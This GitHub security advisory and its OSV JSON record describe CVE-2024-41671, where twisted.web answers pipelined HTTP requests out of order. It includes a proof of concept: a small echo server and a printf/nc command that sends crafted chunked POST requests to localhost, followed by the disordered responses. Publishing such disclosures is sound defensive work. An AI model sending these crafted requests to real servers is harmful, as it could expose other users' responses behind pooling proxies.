GHSA-C8M8-J448-XJX7

Vulnerability from github – Published: 2024-07-29 16:33 – Updated: 2025-11-04 16:51
VLAI?
Summary
twisted.web has disordered HTTP pipeline response
Details

Summary

The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.

PoC

  1. Start a fresh Debian container:
docker run --workdir /repro --rm -it debian:bookworm-slim
  1. Install twisted and its dependencies:
apt -y update && apt -y install ncat git python3 python3-pip \
    && git clone --recurse-submodules https://github.com/twisted/twisted \
    && cd twisted \
    && pip3 install --break-system-packages .
  1. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:
from twisted.web import server, resource
from twisted.internet import reactor

class TheResource(resource.Resource):
    isLeaf = True

    def render_GET(self, request) -> bytes:
        return b"GET"

    def render_POST(self, request) -> bytes:
        return b"POST"

site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()
  1. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
(printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80
  1. Observe that the responses arrive out of order:
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Content-Type: text/html

POST
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 4
Content-Type: text/html

GET
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 5
Content-Type: text/html

POST

Impact

See GHSA-xc8x-vp79-p3wm. Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.

Severity ?
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 24.3.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "twisted"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "24.7.0rc1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-41671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-29T16:33:11Z",
    "nvd_published_at": "2024-07-29T15:15:15Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.\n\n### PoC\n0. Start a fresh Debian container:\n```sh\ndocker run --workdir /repro --rm -it debian:bookworm-slim\n```\n1. Install twisted and its dependencies:\n```sh\napt -y update \u0026\u0026 apt -y install ncat git python3 python3-pip \\\n    \u0026\u0026 git clone --recurse-submodules https://github.com/twisted/twisted \\\n    \u0026\u0026 cd twisted \\\n    \u0026\u0026 pip3 install --break-system-packages .\n```\n2. Run a twisted.web HTTP server that echos received requests\u0027 methods. e.g., the following:\n```python\nfrom twisted.web import server, resource\nfrom twisted.internet import reactor\n\nclass TheResource(resource.Resource):\n    isLeaf = True\n\n    def render_GET(self, request) -\u003e bytes:\n        return b\"GET\"\n\n    def render_POST(self, request) -\u003e bytes:\n        return b\"POST\"\n\nsite = server.Site(TheResource())\nreactor.listenTCP(80, site)\nreactor.run()\n```\n3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:\n```sh\n(printf \u0027POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nPOST / HTTP/1.1\\r\\nContent-Length: 0\\r\\n\\r\\n\u0027; sleep 1; printf \u0027GET / HTTP/1.1\\r\\n\\r\\n\u0027; sleep 1) | nc localhost 80\n```\n4. Observe that the responses arrive out of order:\n```\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:41 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 4\nContent-Type: text/html\n\nGET\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\n```\n\n### Impact\nSee [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.",
  "id": "GHSA-c8m8-j448-xjx7",
  "modified": "2025-11-04T16:51:06Z",
  "published": "2024-07-29T16:33:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/twisted/twisted/security/advisories/GHSA-c8m8-j448-xjx7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41671"
    },
    {
      "type": "WEB",
      "url": "https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33"
    },
    {
      "type": "WEB",
      "url": "https://github.com/twisted/twisted/commit/4a930de12fb67e88fefcb8822104152f42b27abc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/twisted/twisted"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/disordered-http-pipeline-in-twistedweb-cve-2024-4167"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "twisted.web has disordered HTTP pipeline response"
}


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